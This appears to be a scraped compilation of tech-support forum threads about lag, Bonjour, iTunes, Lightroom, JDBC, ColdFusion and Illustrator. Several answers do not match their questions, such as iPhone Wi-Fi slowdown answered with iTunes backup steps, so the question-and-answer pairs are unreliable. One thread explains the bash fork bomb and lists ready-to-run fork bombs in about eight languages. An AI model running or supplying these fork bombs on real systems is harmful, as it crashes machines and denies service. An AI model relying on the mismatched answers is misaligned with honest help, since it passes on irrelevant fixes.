Why does bonjour make my internet lag

Everything on my computer that uses the network lags worse than using a 14k dialup. What's up with that? As soon as I killed 2 processes related to Apple/iTunes the network runs great. One of the processes was mdnsresponder.exe. Dont remember the other one. Each one was causing 10-25 connections with other apps. I'm about to treat it like a virus and purge it if it doesn't get fixed.

See the Further Information area of Troubleshooting issues with iTunes for Windows updates for download advice and direct links if required. Review the rest of the tip if you have problems with the install.
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When i connect my iPhone to WiFi, why does it make my internet slow?

Ok so the other day the weirdest thing happened to my internet, so i noticed that my internet speed was running ridiculously slow and like always i tried resetting the router which usually solves it, but it didnt. it turns out the problem was my moms iPhone, i know this because i tested this, i would run a speed test without her phone connected and i would get about 14down/1up and then i would run a speed test with it connected getting about .5down/.1up. My mom wasnt using any apps or anything that would use internet so something on my moms iphone was using the internet without us knowing and a lot of it. What could cause this to happen? Also as of the past couple days its starting to act normal again even with her phone connected. Our Wi-Fi is only hooked up to my iPhone, my sisters laptop and my moms iPhone. I even tried restoring the phone and although it didnt even have any apps installed or no browser open it would still use internet! And yes we have a password for the Wi-Fi. Please give me a good explantation for this, this has never happened to me before. I also noticed that when my moms phone wasnt connected the light on our modem would barely flash at all but as soon as i connected it the light would flash contstantly. As of the last few days it has been working fine but what would have caused this?

Setting up your phone "as new iphone" is covered in this article: http://support.apple.com/kb/HT4137
Before you connect to a new PC, make sure that autosync is disabled in Edit/Preferences/Devices, otherwise your phone will be wiped during the following sync.
If you have data on the phone you want to save, back up manually:
Disable autosync in iTunes, connect your phone to your new computer and right click on it in the device list and choose backup. iTunes will backup your phone without syncing. Transfer your purchases the same way, choosing "transfer purchases" this time.
When you connect your phone for the first time, all media content will be erased. But you can restore your settings and app data from your manual backup afterwards. Don't forget to set up at least one contact and event on your new computer to be able to merge calendars and contacts when you sync the phone for the first time.
Since changing your iTunes library will erase your phone again, do the same process when you change back to your normal PC.
About backups and what's saved:http://support.apple.com/kb/HT1766
How to back up and restore:http://support.apple.com/kb/HT1414
How to download apps for free again:http://support.apple.com/kb/HT2519

Why does my HP G62-A25EO lags on starcraft 2 its really annoying?:(

why does my HP G62-A25EO lags on starcraft 2 its really annoying?

Monkemackan, welcome to the forum.
The normal reason for games lagging is one of three components:
1) CPU
2) Memory
3) Video device
In your case, the memory should be fine. It is no doubt either the CPU or video device. My suspicion is that it is the video card. I suggest looking at the Windows Experience Index in the Control Panel / Performance information and tools. I suspect that the video card will have the lowest rating.
Have you tried running the game on lower settings; low-medium or lower? This may help the lagging.
Please let us know if this solves your problem or not.
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Why does Bonjour pop up everytime I restart?

Why does Bonjour pop up evertime I restart my PC?

Could you walk us through what's going on in some more detail, please?

Pre "Rendering Preview" colours are better - why does LR make it worse?

Hi guys
When I upload a photo for the first time and then view its larger preview for the first time. When lightroom is generating its preview, it takes a second to generate it. When it generates the preview, the colours that it generates arn't as good as the first image of the photo you see. The photo changes colour after its generating the larger preview... and the generated colours are not as good.
Why does this occur. In all cases the colour of the photo prior to the preview being rendered are better than the colours once it has finished generating.
Cheers
Anthony

Anthony
Ok cool that makes sense... If I didn't take the photo in landscape mode or anything like that, do I just shift it back to "Camera Faithful"...
Yes and No. The profile is not chosen based on what you were shooting with (this only affects your JPGs), but based on the default, which is Adobe Standard (see also below). But switching it gives you another point to start your editing on.
Also I have a fair few photos that I would like to change back from "Adobe Standard" to "Camera Faithful" is there any way to do this on mass?
1) To change multiple photos to a specific profile:
In Develop:
Set one photo to the desired profile
Select all additional images to have the same profile in the film strip (Shift+Click or Ctrl+Click)
Press Sync...
Deselect all settings but Calibration
Hit Synchronize
2) To make a certain profile default for all imports for a specific camera type:
Set one photo to the desired profile (do not alter any other parameters, as they will be set as default also)
Press Alt and click on Set Default ...
Hit Update to Current Settings
Note: The Defaults set this way are valid for imports for a specific Camera Model, limited to a Camera Serial-No. and/or ISO Setting, depending on your settings in Preferences/Presets.
Lastly, are the colour profiles better in LR 3...
Somebody else will have to answer for this question, I think they are basically the same, but the underlying algorithm has been vastly improved. Btw, "better" is a generally a bad word when refering to camera profiles. You'll find lots of posts here regarding this subject, e.g. here.
Beat Gossweiler
Switzerland
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Why does this make *nix crash ?

why does
:(){ :|:& };:
make my system crash ?
* Don`t try it if you don`t want to crash your box

:(){:|:&};:
can also be viewed as
function(){
function|function&
Does this look more familiar? It's basically a standard bash function. The code you posted, called a forkbomb, creates a bash function called ":" which calls itself recursively twice through a pipe and sends the recursion call to the background. Basically, this causes the process to fork (or split) itself forever. This creates a huge number of processes which overrun your CPU, causing your precious computer to freeze/crash/whatever.
Sending the second function call to the background causes the calling function to not wait until the call returns. Since there is no stop condition for this recursion, the function would wait forever allowing you to kill it and all its children with ^C. Since the recursion call is running in the background, the calling function will complete immediately making it damn near impossible to kill its child processes.
So why call it twice? Because of the recursive call in the background, the calling process dies as soon as it makes the recursive call. Hence, if we only call it once it will always have one process replacing its parent, defeating the purpose of a forkbomb.
What's the point? It's a denial of service attack, plain and simple.
Various other type of forkbombs...
Windows
%0|%0
-or-
:s
start %0
%0|%0
goto :s
Perl
fork while fork
Haskell
import Control.Monad
import System.Posix.Process
forkBomb = forever $ forkProcess forkBomb
Python
import os
while True:
os.fork()
Ruby
loop { fork }
C/C++
#include <unistd.h>
int main(void)
while(1)
fork();
return 0;
NASM
section .text
global _start ;Call start
_start:
push byte 2 ;syscall to Linux fork
pop eax ;set EAX argument for fork to NULL [So it works in strings]
int 0x80 ;Execute syscall with fork & the EAX [null, above] argument
jmp short _start ;Go back to beginning, causing a fork bomb
Lisp
(defmacro wabbit () ;; A program that writes code.
(let ((fname (gentemp 'INET)))
`(progn
(defun ,fname () ;; Generate.
nil)
(wabbit))))
(wabbit) ;; Start multiplying.
* Disclaimer: It's not my fault if you fuck up your system trying these out.
** Edit: Wow... in the time it took me to write that up a crapload of people answered the question... oh well.
Last edited by Ghost1227 (2009-06-21 14:02:55)

Why does JDBC make me commit a query?

I was working with two DB2 database connections, A and B, and performed the following logic:
Turned off AutoCommit for A and B
Updated A
Updated B
Committted A
Rolled back B
Selected from A
Selected from B
Updated A
Committed A
Closed Connection A
Closed Connection B
Everything worked well until I tried to close Connection B. It threw a SQL Exception with the description "invalid transaction state". I read online that this means you are trying to close a connection with uncommitted data. It didn't make sense because the only thing I had done since rolling back was SELECT. When I tried it with a rollback or commit immediately before closing the connection, it worked. Any ideas why it would make me commit a SELECT? Is this just an unintended bug or could they have implemented it like this on purpose?

I also first was wondering why a select should be committed.
But also a select can cause locks that influence other connections. How, depends on the isolation level you set. For example SERIALIZABLE would block inserts by another connection that would change your retrieval in case you repeat it.
To make the DBMS know that after your retrieval your processing of these data is done - no changes following - you must end the transaction by commit (or rollback - would be the same here since you've done no changes).

Why does playback on the timeline lag on my premiere elements 9 project?

Whenever I playback my edit on the timeline, it starts off playing fine, but after a few seconds it starts to lag. I am using a macbook pro (2.4GHz intel core 2 duo processor, OS X V10.9.4), and was initially editing off a WD hard drive connected with a Firewire800 cable. I have shifted all my rushes and the premiere elements project file from the hard drive to my laptop, but that doesn't seem to work. Project settings and Clip settings seem to match, otherwise I wouldn't be able to open the project file anyway. I fiddled with some of the playback settings, but nothing seemed to work. I need to rush out a piece of work asap. Any ideas?

AT Romano,
Please see my actions taken regarding your questions below:
One of my questions was attempting to determine if the total duration of clips on the Timeline has any effect on this random playback issue.
Am I correct in assuming that you are saying that this Timeline playback lag can be seen even with only one 1 minute clip on the Timeline? If not,
how many clips needed on that Timeline when the Timeline content playback starts to lag?
The lag can also be seen with only one 1 minute clip on the timeline.
If you start a new project with a different video source or just some jpg photos do you run into this Timeline content playback lag after rendering of that
Timeline content?
NO, this lag does not occur with a new project with different video source.
Did you understand what I wrote early on about Premiere Elements 9.0/9.0.1 being a 32 bit application when run on 32 or 64 bit computer? Do you use the computer for programs other than Premiere Elements? I asked since you wrote
Upgraded the RAM. I'm now running on 2x 8GB of RAM.
A 32 bit system is typically characterized by maximum supported installed RAM = 4 GB and typically 3.2 to 3.0 or less of that being available. So, why the upgrade to 16 GB of installed RAM?
I guess I didn't quite understand the 32 bit system thing. But i kinda get the idea now. In any case, my computer seems to be running faster than usual even though it didn't solve the elements 9 lagging issue.
Just recap time....
1. Optimize the computer with free ccleaner for Mac run through
CCleaner - Download
Done.
2. Make sure that there are no pile ups of preview files, conformed audio, and conformed video files. At this time, how much
free hard drive space at the location where the Scratch Disks are directed?
Done. About 870GB of free HD space. This is an external hard drive.
3. Set Playback Quality to highest instead of automatic
Did this, but the lagging becomes worse. It freezes longer on certain frames.
4. Make sure video card/graphics card driver is up to date according to web site of manufacturer of the card
According to Manufacturer, graphic cards installed on MacBook Pros are already optimised by Apple during the installation.
5. If dual monitor system, disconnect one, use only one
I am monitoring only from my laptop screen. No external monitors.
6. Delete the Adobe Premiere Elements Prefs file...
Users/Libraries/Application Support/Adobe/Premiere Elements/9.0
I cannot seem to find this file.
7. Export the lagging Timeline content to an appropriate file saved to the computer hard drive. Then determine if the playback of the export
exhibits any lags.
After export, there are no lags.
8. Do you run into the problem with and without the antivirus disabled?
I have no antivirus installed. But i did try turning on and off the firewall. With the firewall on, the lag seemed to get worse.
9. For troubleshooting purposes only at this time, download and install the free 30 day tryout of Premiere Elements 12
from Adobe....If it works for you, then we can target version 9....If it does not work for you, then we can target your computer.
There is no Premiere elements 12 available for trial download. Only premiere elements 13. Have downloaded that and copied the project file into elements 13. The lag is still there, but not as bad. But, it is still there.
- Gold Pirate.

Why does my iMac lose internet connection when importing music via iTunes Home sharing?

Hi, I tried searching for a solution but could not find anything to solve my problem.
I recently purchased an iMac and am attempting to import my iTunes library from my old Windows 7 laptop using the Home sharing function. As far as I can tell, everything works fine - both computers are connected to my wireless network, I can see and connect to the library, I can begin importing my music but after 5 or so minutes my iMac will stop transferring music and I can no longer access any internet sites, even though i seem to be connected to the internet. Turning wifi on and off allows me to access the internet again. I have tried many solutions, but nope seem to have helped. Both computers have the latest version of iTunes. I have tried disabling the firewall on my router, resetting the router, resetting both computers, reopening iTunes.
Does anybody have any ideas as to what could solve the problem? Thank you

jjcardil
I've noticed that Lion automatically reconnects in about 5-10 seconds after being waken from sleep mode.
Make sure that you've set you Network connections up properly in System Preferences and then, after waking from sleep mode, wait to see if it automatically reconnects.
In System Preferences:
Network / Wi-Fi:
Make sure "Network Name" is specified.
Advanced:
Make sure your "Preferred Networks" are specified. (The order is significant).
Also make sure that the "Remember networks this computer has joined" is checked.
Also, you may want to try playing with the "Energy Saver" Settings in System Preferences, perhaps disabling sleep mode but turning off the screen (although I don't prefer this method since it kind of defeats the whole purpose of having a sleep mode IMHO).
-Mike

Why does iTunes make a mess out of my TV Shows library?

I'm not really sure where to post this, as it doesn't seem like Apple pays much attention to the official Apple Support Forums, but I'll give it a go nontheless.
The thing is, as most Apple TV owners I have to rely on iTunes for handling my media library in order to get it working towards my Apple TV (currently an Apple TV 3rd Generation, Rev A) which is perfectly fine. I find iTunes to be very well organised and owning several OS X systems, only using iOS devices and everything my music library already consists of only ALAC (Apple Lossless) music tracks and I like to keep all my audio books in M4B (AAC) simply because it’s much better organized this way. As long as all the metadata is done right one can’t really complain about how iTunes is doing things other than the Windows version being rather slow when you start filling it up with content, the OS X version is vastly superior in terms of performance and overall stability but I guess that is to be expected.
I have absolutely no problems with my ALAC (Apple Lossless) music library, no matter how many tracks I add they are all there, with the correct metadata and everything. Same goes for my audio book library, the only ones being somewhat troublesome are those I’ve got in MP3 format instead of M4B (AAC) as they get automatically listed as music instead of audio books, but that’s fixed within a matter of seconds just marking them as audio book in iTunes metadata. My movie library, which used to consists of loads of self-ripped Blu-Rays encoded to MKV’s with either Dolby Digital 5.1 or DTS 5.1 is now repacked into M4V / MP4 containing Dolby Digital 5.1 (AC-3) and with the help of metadata downloaded from IMDB they are all listed correctly with the correct metadata, so all is good and dandy.
But when it comes to TV-Shows things starts to get messy. We are still talking about only M4V / MP4 files containing mostly Dolby Digital 5.1 (AC-3) audio tracks, and a few containing 2.0 AAC audio tracks. The problem is iTunes is making a complete mess out of things, no matter what I do.
Some TV-shows are added and shown correctly in my iTunes library, others are just not working out at all! Take my six seasons of LOST for instance.
I tried to redo the metadata on the first six episodes of season 06, but they just won’t show no matter what I do. The weirdest thing with these episodes is that when I manually play the M4V files using iTunes, iTunes recognise them as LOST Season 02 episodes and not Season 03 episodes. So LOST Season 03 - Episode 01 which is "01. A Tale of Two Cities" is shown as LOST Season 02 - Episode 10 which is "10. The 23rd Psalm". That's quite odd, which was the reason why I went ahead and rework the metadata of these episodes just to be sure.
But still it won’t show in the iTunes library and when manually opening the M4V files with iTunes it still shown as being "10. The 23rd Psalm" instead of "01. A Tale of Two Cities". If I open the file with QuickTime Player, Windows Media Player or Media Player Classic Home Cinema they all list it as "01. A Tale of Two Cities" and not "10. The 23rd Psalm" as iTunes does. Watching the playback is making quite clear it's indeed playing back A Tale of Two Cities and not The 23rd Pslam episodes, even in iTunes.
I have no clues why iTunes is making a mess out of the first six episodes of LOST Season 03, it really doesn't make much sense as there is nothing with the M4V files, their contains or their metadata that points towards iTunes recognising it as a LOST Season 2 episode at all.
Just to confirm the metadata in iTunes I tried to remove the whole LOST series from my library and went ahead and added ONLY the first six episodes of Season 03 and nothing else. Then they are showing correctly, with the correct metadata for each and every episode.
But upon adding the rest of the bunch they disappear and suddenly iTunes starts mixing the first six episodes of Season 03 as Season 02 episodes...
As soon as I add any episode of LOST Season 02, 10-15 they seem to replace LOST Season 03, 1-6. So Season 03 is working perfectly, having all the right metadata and everything but as soon as I add LOST Season 02, Episode 10, LOST Season 03, Episode 01 starts playing as LOST Season 02, Episode 10 and then disappears from the library. Upon adding and playing back LOST Season 02, Episode 11 it replaces LOST Season 03, Episode 02 which then disappears from the library and this goes on for episode 10-15 of Season 02 which for some reason replaces episode 01-06 of Season 03.
This isn’t isolated to only LOST, same goes for a few of my House M.D season whereas iTunes is starting make a mess of things mixing metadata of Season 3 with metadata of Season 4 for no obvious reason. This is quite frustrating as this renders my Apple TV quite useless when iTunes is not capable of handling my media library correctly.
Several episodes are missing in quite a few of my various TV Shows as well, some requires me to manually open the M4V / MP4 while browsing my library for it to get listed as it’s not being added while adding the folder to my library.
This has been going on ever since iTunes 10.X, and it’s behaving like this on all my system it being Windows 7, Windows 8, OS X Mountain Lion or OS X Mavericks. Surely something has to be done in order to solve this? There is nothing wrong with my M4V / MP4 files as I’ve re-ripped them, re-encoded them, re-done their metadata and everything without any luck and consider it only happens with various TV shows and not with my music, audio book nor my movie library I see nothing pointing at it being a problem with my content but rather iTunes making it all fuzzy for no apparent reason.

Seems like I actually figured out what was going on.. When I re-do my MKV's into MP4 / M4V's applications like Subler, MKVtoMP4 and other toolkits are grabbing metadata from servers like IMDB.
Upon retrieving metadata they also grab something called "XID" which is supposedly Apple's very own iTunes specific ID or serial if you like for each specific TV show available through the iTunes Store. This seems to be causing the problems with missing episodes and episodes starting to playback as a different episode from another season.
I always wondered why House Season 04 - Episode 01 - "Alone" always got played back as House Season 03 - Episode 11 - "Words of Deeds". It was always the exact same mix-up each and every time. iTunes never seems to mix-up anything other than the same specific episodes each and every time, and all the missing episodes are always the same ones, from the same TV show, from the very same season. I always found that a bit strange as I would expect library mix-ups from iTunes to be somewhat random and not consistent like this.
So I tried to simply tried something completely random, renaming House Season 04 - Episode 01 - "Alone" into "RARW Season 11 - Episode 42 - "Come at me bro"" and House Season 03 - Episode 11 - "Words of Deeds" into "TESTING Season 04 - Episode 05 - "Testing this"" and it will still do the same, now my randomly generated metadata of "RARW Season 11 - Episode 42 - "Come at me bro"" was played back as "TESTING Season 04 - Episode 05 - "Testing this"". So it clearly had nothing to do with whatever metadata I added to the video within iTunes, it would continuously mix-up the very same episode no matter what.
So then I grab my toolkit to see what kind of information was garter from IMDB's database to see if I could spot anything weird going on? I didn't really see anything, but I noticed the XID with it's "Apple:vendor_id:2003-tt0367279" input, so even though these two episodes had different XIDs I tried to simply input my very own like "House Season 03" and "House Season 04" and then all of sudden everything worked out perfectly.
I'm not entirely sure whos to blame here. As the XID was indeed different I see no reason why iTunes should confuse one for the other in the first place, perhaps there is something fuzzy with the iTunes database or something. I don't really care though, I see no value in having the "correct" XID as long as my iTunes library is showing and playing back everything correctly so now I have just went ahead and re-done ALL my XID's of every TV Show to have their very own for each season just to make sure nothing like this ever happens again.

Why does my apple tv keep lagging

My apple TV keeps lagging/freezing then it catches up with it self when im watching a film from my mac or on itunes and if i bought a film from apple it does the same thing. Ive had this apple TV for over a year and never had a problem, then all of a sudden about 6months ago it has these problems, iv'e done all the updates and reset etc and still the problem is there, i have really fast internet so i dont know what else to do. I was going to buy a new one then i read that someone else had same problem and bought another one and that one has the same problems too. Lots of people are saying that its apples fault as they havent got an update for it yet, and because of the last update these are the problems we are having now.. How can I resolve this problem? is this a problem with the apple tv?

Intermittent problems are often a result of interference. Interference can be caused by other networks in the neighbourhood or from household electrical items.
You can download and install iStumbler (NetStumbler for windows users) to help you see which channels are used by neighbouring networks so that you can avoid them, but iStumbler will not see household items.
Refer to your router manual for instructions on changing your wifi channel or adjusting your multicast rate.
There are other types of problems that can affect networks, but this is by far the most common, hence worth mentioning first. Networks that have inherent issues can be seen to work differently with different versions of the same software. You might also try moving the Apple TV away from other electrical equipment.
The following article(s) may help you.
Troubleshooting Wi-Fi networks and connections
Recommended Wi-Fi settings
Sources of Interference
Wifi Diagnostic Software (for Mac users)
You may also find some help on this page, where I’ve collected some of the more unusual solutions to network issues.

Why does File sharing require internet?

I have two computers, both on Snow Leopard 10.6.8 connected to my router. If I have my WAN cable unplugged from the router or my Internet is not working, I find that when I try to access one computer from the other for Apple File Sharing (AFP), that the finder "Connect to Server function" just spins after I put in the server address of the other Mac. Plug in the Internet, and all is fine. It seems that somehow the Internet is being required. Why? And how do I fix this?
My TCP/IP settings for each machine for the network interface used are:
Configure IPv4: Using DHCP with manual address
IPv4 Address: 192.168.0.[some number greater than 1]
Subnet mask: 255.255.255.0
Router: 192.168.0.1
Configure IPv6: Off
I am using fixed IP addresses on my LAN rather than DHCP.
Thanks

PROVEN: IT IS NOT MY ROUTER.
Good isolation testing, and component elimination.
In the first post you said you had been using DHCP with Manual IP address. In the router elimination test you did not mention Manual address and I get the impression you just allowed normal DHCP assigned IP addressing. If my interpretation is correct, that is good.
Stupid question, was Airport turned off during your experiments? If it was not, it is always possible that the Macs were trying to use WiFi instead of the Ethernet cables. By default Mac OS X gives priority to Ethernet, however, it is possible that your System Preferences -> Network interface ordering was changed to give Airport a higher preferences over Ethernet. You would use the Gear icon next to the [+][-][*] icons under your list of interfaces to see/set the interface order. Ethernet should be 1st in the list.
I think that when you open System Preferences -> Network, the interface list is displayed with the current active interface highlighted, but I never did a riggerous experiment to prove this.
This should work. So I'm going to suggest, as an experiment, you start by booting each Mac into "Safe Mode". Boot holding the "Shift" key. This will eliminate any 3rd party extensions from loading, just in case there is a bit of 3rd party software that is interfering.
As a diagnostic experiment please get a copy of "Bonjour Browser" and "WakeOnLan". Both of these utilities probe the network and give execellent lists of network devices they find on the local LAN.
<http://www.macupdate.com/app/mac/13388/bonjour-browser>
<http://www.macupdate.com/info.php/id/15779/wakeonlan>
You should be able to see the other Mac from the output of each of these utilities. Bonjour Browser should be able to show you they Apple File Sharing services being offered, and you should see both your Macs listed. If not then something is blocking the protocol, or for some reason the Mac is not advertising the service.
If you use Applications -> Utilities -> Network Utility you should be able to find out if port 548 is open on the other computer using the port scan option. It should be, but the question is whether Network Utility can see it through your router.
I have run out of experiments to try. Hopefully this will shake something loose and allow you to move forward towards a solution.

Why Does iTunes Make Combining Songs Into a Single Album So Difficult?

Can anyone explain, or refer me to a website, that explains and lists in a "1,2,3" manner the illogic of the iTunes "get info" panes and why iTunes splits, combines and erases data depending upon what you put in the "get info" area. I have looked at many websites with suggestions and some work and some don't. The frustration I have is that I cannot decipher the logic of what iTunes is doing. Some comments and examples:
1. I thought it was convention when you highlight multiple anythings, and specify a change, this change is done on all highlighted things. For example, when I want to combine several songs into a single album, highlight them all and fill in information in the "get info area", sometimes it combines, sometimes it splits the songs, sometimes it erases the artwork. Even when I specify "part of a compilation".
2. Sometimes when I add "various artists", it combines the various highlighted songs but then erases the artwork.
3. One would think that when you specify any songs as "part of a compilation" that would automatically force these songs into a single album. Sometimes iTunes does, and sometime it does not.
4. Even when I think I have entered exactly the same information there apparently is something different. It has taken me up to 15 minutes first of very careful checking of spelling, spacing, etc. then just totally randomly changing something before I can get songs together.
5. Why isn't there just a very simple button that says something like: "no matter what, force the highlighted songs into a single album? Is there any way to simply and easily force songs together into a single album no matter what is in the individual "get info" areas?
Anyway, you get the idea. Surely there is some set of rules or logic that I am totally missing. Thanks.

Thanks, that was extremely helpful but unfortunately this very well laid out website confirms the fact that this is a very un-Apple-like interface that is confusing, contradictory and extremely difficult to use. Not sure if anyone from Apple reads these threads, but in the next version they need to do an extremely serious remake. I think this part of the interface must have been designed by refugees from the PC camp who somehow got hired by Apple!
Thanks again.

Why does AddWatermark make file so big?

I have created a 600 x 253 72 dpi gif file. It is only 36kb in size. When I take a 7 page 220kb PDF file and do a cfpdf action="addwatermark" to the file, it grows from 220kb to a whopping 1.3 MB!
Strangely enough, if I open the same file in Adobe Acrobat Professional and manually add the exact same gif file as a watermark to the exact same PDF file, the result file actually got SMALLER!?!?!
You don't believe me? Try it yourself.
Image file: https://www.calcerts.com/images/logo_main_watermark_color.gif
Original PDF: https://www.calcerts.com/BB4031.pdf
PDF File after doing a simple addwatermark: https://www.calcerts.com/BB4031_WTF.pdf
PDF File if I add the image as a watermark in Adobe Acrobat Professional 8: https://www.calcerts.com/BB4031_AdobeWatermarked.pdf
The code I used was this:
<cfpdf action="addwatermark"
source="d:\BB4031.pdf"
destination="d:\BB4031_WTF.pdf"
image="D:\images\logo_main_watermark_color.gif"
opacity = 2
foreground = "yes"
rotation = 0
showonprint = "yes"
overwrite="yes"
position = "0,250"
>

rotflmao!!!
ok, Qui-Gon..... Teach a man to fish, and that sort of thing, right?
I found the Page Number footer code in the CFC, did not think to look there. I thought it would have been in the CFM. So that's done, thanks.
I added (and modified) the footer info into the Watermark example:
--WATERMARK CODE WORKS, SO I WON'T WASTE YOUR TIME POSTING THAT--
//add the javaloader dynamic proxy library (and my iText jar) to the javaloader
libpaths = [];
arrayAppend(libpaths, expandPath("/CustCFX/javaLoader/support/cfcdynamicproxy/lib/cfcdynamicproxy.jar"));
arrayAppend(libpaths, expandPath("/CustCFX/javaLoader/itext/iText-2.1.7.jar") );
//we HAVE to load the ColdFusion class path to use the dynamic proxy, as it uses ColdFusion's classes
loader = createObject("component", "CustCFX.javaLoader.JavaLoader").init(loadPaths=libpaths, loadColdFusionClassPath=true);
//initialize the building blocks used by the custom page handler
textColor = loader.create("java.awt.Color").decode( "##000000" );
BaseFont = loader.create("com.lowagie.text.pdf.BaseFont");
textFont = BaseFont.createFont(BaseFont.COURIER, BaseFont.WINANSI, BaseFont.EMBEDDED);
//intialize the page event handler component
eventHandler = createObject("component", "CustCFX.betterPdfPageEventHandler.PdfPageEventHandler").init( font=textFont, fontSize=8, textColor=textColor);
eventHandler.setFooterText( "My Cool Footer - The Force is with ME!!!");
//we can pass in an array of strings which name all the interfaces we want out dynamic proxy to implement
interfaces = ["com.lowagie.text.pdf.PdfPageEvent"];
//get a reference to the dynamic proxy class
CFCDynamicProxy = loader.create("com.compoundtheory.coldfusion.cfc.CFCDynamicProxy");
// create a proxy that we will pass to the iText writer
eventHandlerProxy = CFCDynamicProxy.createInstance(eventHandler, interfaces);
// adding content to each page
i = 0;
while (i LT totalPages) {
   i = i + 1;
   // Prepare to place image on OVERcontent
   content = pdfStamper.getOverContent( javacast("int", i) );
   // Only needed if you are changing the opacity, blending, etcetera ..
   content.setGState(gState);
   // Center the watermark. Note - using deprecated methods for CF8/iText 1.4 compatability
   rectangle = pdfStamper.getReader().getPageSizeWithRotation( javacast("int", i) );
   x = rectangle.left() + (rectangle.width() - img.plainWidth()) / 2;
   y = rectangle.bottom() + (rectangle.height() - img.plainHeight()) / 2;
   img.setAbsolutePosition(x, y);
   content.addImage(img);
   content.saveState();
   content.beginText();
   NOW WHAT?!?!
I tried: content.setPageEvent( eventHandlerProxy ); like in the Footer example, but that errored out. I understand what is SUPPOSED to happen here, but I am not getting the syntax. At this point, I need to apply the eventHandler to the content. But what everything I have tried has errored out.
One thing that I have learned is that syntax is EVERYTHING with script (that's why I love ColdFusion so much, it's much more foregiving for us non-purebread programmers.
so once I hvae initiate the beginText, what is the syntax for applying the eventHandler to content?

Why does Illustrator make you save every file 20 times or more?

OK I exaggerate, but really, saving 3-4 times over and over is quite annoying...

Tom:
What you are referring to is when you save a file for the first time. I used to think "what the hey?" until I figured out why it does what it does...
When you go to save, you type in the file name, but without appending the extension, because you're used to the program doing this, right? Try typing the extension on the end and hit save, it will skip a step, adding the extension is all Illustrator does the first click.
The second main dialog window gathers all the pertinent info you want to save with the file, so that is kinda important.
What more do you want?

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